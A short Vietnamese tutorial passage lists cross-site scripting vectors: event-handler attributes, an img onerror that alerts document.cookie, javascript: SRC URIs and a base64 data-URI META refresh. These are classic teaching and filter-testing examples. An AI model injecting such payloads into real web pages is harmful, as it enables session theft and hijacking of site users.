Chúng ta sẽ cùng xem một số VD sau:
+Sử dụng các thuộc tính của các thẻ html:
<body onload=alert('test1')>
<b onmouseover=alert('Wufff!')>click me!</b>
<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>
+Sử dụng thuộc tính SRC:
<IMG SRC=javascript:alert('XSS')>
<BGSOUND SRC="javascript:alert('XSS');">Encode nội dung (UTF-8)
<IMG SRC=javascript:alert('XSS')>
+Sử dụng URI đã được encode base64
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
Chú ý: một số code có thể không chạy được trên một số trình duyệt.
Đây chỉ là một ít trong số rất nhiều cách thực thi các đoạn mã javascript
Các bạn có thể tham khảo thêm tại: http://ha.ckers.org/xss.html